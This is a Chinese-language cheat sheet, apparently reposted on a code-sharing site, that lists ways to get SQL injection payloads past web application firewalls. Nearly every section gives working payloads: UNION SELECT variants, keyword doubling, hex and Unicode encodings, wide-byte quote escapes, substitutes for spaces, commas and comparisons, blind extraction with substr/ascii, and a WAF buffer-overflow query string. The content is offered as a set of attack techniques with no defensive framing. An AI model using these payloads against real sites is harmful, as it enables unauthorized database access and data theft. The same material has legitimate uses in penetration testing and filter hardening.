sql注入繞過姿勢總結


1.注釋符繞過

常用的注釋符有

1-- 注釋內容

2# 注釋內容

3/*注釋內容*/

egunion select 1,2#

union select 1,2 --+

構造閉合 ’ union select 1,2’

 


 

2.大小寫繞過

常用於 waf的正則對大小寫不敏感的情況

eguniOn selEct 1,2

 


 

3.內聯注釋繞過

內聯注釋就是把一些特有的僅在MYSQL上的語句放在 /*!...*/ 中,這樣這些語句如果在其它數據庫中是不會被執行,但在MYSQL中會執行。別和注釋/*... */搞混了。

egunion /*!select*/ 1,2

 


 

4.雙寫關鍵字繞過

一些簡單的waf中,將關鍵字select等只使用replace()函數置換為空,這時候可以使用雙寫關鍵字繞過。

egunion seselectlect 1,2

 


 

5.特殊編碼繞過

1十六進制繞過

egUNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2ascii編碼繞過

egTest =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

3Unicode編碼

常用的幾個符號的一些Unicode編碼

單引號: %u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7

空格:%u0020%uff00%c0%20%c0%a0%e0%80%a0

左括號:%u0028%uff08%c0%28%c0%a8%e0%80%a8

右括號:%u0029%uff09%c0%29%c0%a9%e0%80%a9

 


 

6.空格過濾繞過

可代替空格的方式:

1/**/

2()

3)回車(url編碼中的%0a)

4`(tap鍵上面的按鈕)

5tap

6)兩個空格

egunion/**/select/**/1,2

select(passwd)from(users)  #注意括號中不能含有*

select`passwd`from`users`

 


 

7.過濾or and xor(異或) not 繞過

and = &&

or = ||

xor = |

not = !

 


 

8.過濾等號=繞過

1不加通配符的like執行的效果和=一致,所以可以用來繞過。

egUNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2rlike:模糊匹配,只要字段的值中存在要查找的 部分 就會被選擇出來用來取代=時,rlike的用法和上面的like一樣,沒有通配符效果和=一樣

egUNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3regexp:MySQL中使用 REGEXP 操作符來進行正則表達式匹配

egUNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4使用大小於號來繞過

egselect * from users where id > 1 and id < 3

5<> 等價於 !=所以在前面再加一個!結果就是等號了

egselect * from users where !(id <> 1)

 


 

9.過濾大小於號繞過

sql盲注中,一般使用大小於號來判斷ascii碼值的大小來達到爆破的效果。

1greatest(n1, n2, n3…):返回n中的最大值

egselect * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116

2least(n1,n2,n3…):返回n中的最小值,與上同理。

3strcmp(str1,str2):若所有的字符串均相同,則返回0,若根據當前分類次序,第一個參數小於第二個,則返回 -1,其它情況返回 1

egselect * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

4in關鍵字

egselect * from users where id = 1 and substr(username,1,1) in ('t')

5between a and b:范圍在a-b之間包括ab

egselect * from users where id between 1 and 2

select * from users where id between 1 and 1

 


 

10過濾引號繞過

1使用十六進制

egUNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2寬字節常用在web應用使用的字符集為GBK時,並且過濾了引號,就可以試試寬字節。%27表示 '(單引號),單引號會被轉義成\'

eg%E6' union select 1,2 #

%df%27 union select  1,2,3  #

 


 

11.過濾逗號繞過

1如果waf過濾了逗號,並且只能盲注,在取子串的幾個函數中,有一個替代逗號的方法就是使用from pos for len,其中pos代表從pos個開始讀取len長度的子串
eg常規寫法 select substr("string",1,3)

過濾了逗號,可以使用from pos for len來取代 select substr("string" from 1 for 3)

sql盲注中 select ascii(substr(database() from 1 for 1)) > 110

2也可使用join關鍵字來繞過

egselect * from users union select * from (select 1)a join (select 2)b join(select 3)c

上式等價於 union select 1,2,3

3使用like關鍵字,適用於substr()等提取子串的函數中的逗號

egselect user() like "t%"

上式等價於 select ascii(substr(user(),1,1))=114

5使用offset關鍵字適用於limit中的逗號被過濾的情況,limit 2,1等價於limit 1 offset 2

egselect * from users limit 1 offset 2

上式等價於 select * from users limit 2,1

 


 

12.過濾函數繞過

1sleep() -->benchmark()

MySQL有一個內置的BENCHMARK()函數,可以測試某些特定操作的執行速度。 參數可以是需要執行的次數和表達式。第一個參數是執行次數,第二個執行的表達式

egselect 1,2 and benchmark(1000000000,1)

2ascii()–>hex()bin()替代之后再使用對應的進制轉string即可

3group_concat()–>concat_ws(),第一個參數為分隔符 

egmysql> select concat_ws(",","str1","str2")

4substr(),substring(),mid()可以相互取代, 取子串的函數還有left(),right()

5user() --> @@userdatadir>@@datadir

6ord()>ascii():這兩個函數在處理英文時效果一樣,但是處理中文等時不一致。

 


 

13.緩沖區溢出

緩沖區溢出用於對付WAF,有不少WAFC語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度,就會引發bug從而實現繞過

eg?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*10000xA后面”A”重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考,在某些情況下可能不需要這么長也能溢出

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM